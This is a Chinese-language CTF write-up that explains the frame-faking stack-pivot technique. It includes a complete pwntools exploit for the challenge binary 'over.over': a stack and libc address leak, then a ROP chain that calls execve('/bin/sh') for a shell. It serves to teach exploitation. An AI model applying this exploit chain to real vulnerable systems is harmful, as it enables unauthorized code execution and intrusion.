文章地址:https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/others/
具体原理我就不多讲了,请自己阅读文章,我写这篇文章的目的是为了对原文中说的可能不太清楚的地方进行分析,希望能帮助大家更好的理解。

这篇文章主要是分析frame faking这个栈溢出后的利用技巧,原文中讲的原理其实是比较好理解的,如果对于栈的变化不是特别特别了解的,可以自己动手画画栈的变化情况。在此特别提一下 leave 和 ret这两条指令。
leave == mov ebp,esp | pop ebp
ret == pop eip
每个函数的出入口都会执行以下基本操作:

下面正式开始 EXP 的书写分析:
exp:
from pwn import *
context.binary = "./over.over"
def DEBUG(cmd):
raw_input("DEBUG: ")
gdb.attach(io, cmd)
io = process("./over.over")
elf = ELF("./over.over")
libc = elf.libc
# 12 ~14
io.sendafter(">", 'a' * 80)
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - 0x70
success("stack -> {:#x}".format(stack))
# 18~22
# DEBUG("b *0x4006B9\nc")
io.sendafter(">", flat(['11111111', 0x400793, elf.got['puts'], elf.plt['puts'], 0x400676, (80 - 40) * '1', stack, 0x4006be]))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['puts']
success("libc.address -> {:#x}".format(libc.address))
pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0xf5279
# 30
payload=flat(['22222222', pop_rdi_ret, next(libc.search("/bin/sh")),pop_rdx_pop_rsi_ret,p64(0),p64(0), libc.sym['execve'], (80 - 7*8 ) * '2', stack - 0x30, 0x4006be])
io.sendafter(">", payload)
io.interactive()
0x01 第12~14行
这3行代码主要是先发送80字节的填充字符,用来泄露rbp的值。
对于第13行代码中,为什么在读到 \x7f 之后截止,再获取前面的6字节呢?
原因是虽然在64位计算机中,一个地址的长度是8字节,但是实际上的计算机内存只有16G内存以下,所以一般的地址空间只是用了不到 2^48 的地址空间。因此
实际的操作系统中,一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,
然后通过ljust函数把最高位的两字节填充成00。 我们还可以用这种一般的写法:u64(p.recv(6).ljust(8, "\x00"))
然后为什么这行代码的最后要地址值要减去0x70呢?
先看下图:

其实当时我在这里犯了一个错误,没有分清楚 “栈地址” 和“栈保存的值”的区别。具体怎么说呢?因为这里的stack要获取的实际上是buf开始的时候的地址位置是什么。然后此处泄露的又是rbp处的值,我当时错误地把这个泄露出来的rbp误认为是rbp指针指向处的栈地址。因此认为此处应该要减去0x50(80)字节。然而此处泄露出来的实际上是栈内保存的地址,也就是 old rbp,即函数执行之前的rbp寄存器值,而不是现在的rbp寄存器值。
由此可见,我们需要很好分清楚 栈地址和栈值 的区别,以免发生错误。
那么我们再回看上面的图:

看到我标红框的地方,第一个框是buf 开始处的地址,也是我们要求的stack。第二个框就是泄露出来的 rbp 指向地址处的值,它实际对应的下面框内的地址,也是old rbp。最后用distance 计算出了相处地址相差 0x70。
0x02 第18~22行
第18行实际完成的就是一个覆盖栈地址之后再进行frame faking跳转的过程:
最后一个参数 0x4006be 的解释,leave_ret的地址。
此处会把got[‘puts’]的值通过plt[‘puts’]函数打印出来,实际上就是泄露出了puts函数的实际运行地址值。
注:在进程运行的时候,plt表不会变化,但是GOT表是会根据延迟加载的函数进行动态刷新的。
泄露出libc之后,函数会接着ret回0x400676执行,这个实际就是sub_400676函数的地址。紧接着又会继续进行后面的操作。
0x30 第30行
跟18行的形式差不多,具体中间的参数我就不多解释了,大概就是通过构造参数利用
pop_rdi_ret=0x400793
'''
$ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"
0x00000000000f5279 : pop rdx ; pop rsi ; ret
'''
pop_rdx_pop_rsi_ret=libc.address+0xf5279
来完成调用execve("/bin/sh",0, 0)获取shell。
但是倒数第二个参数是stack – 0x30而不是上面的stack呢?
这个的原因其实是这样的,在上面进行第一次leaveret跳转的时候,在最后返回sub_400676()函数执行的时候,rsp指向的是 (80 - 40) * '1' 的位置,在这个基础上直接跳转到函数执行了,函数在开始执行的时候会先 pushrbp | mov rsp rbp。
这两个进入sub_400676()函数的时候栈的状态对比如下:

第一次的rbp指向stack值处的地址,而第二次进入该函数的时候,push rbp之后,新的rbp指向的是new_stack值处的地址。这两个地址之间的差值真好是 40+8 = 48 (0x30)字节,这也是后面为什么要减0x30的原因。
网友评论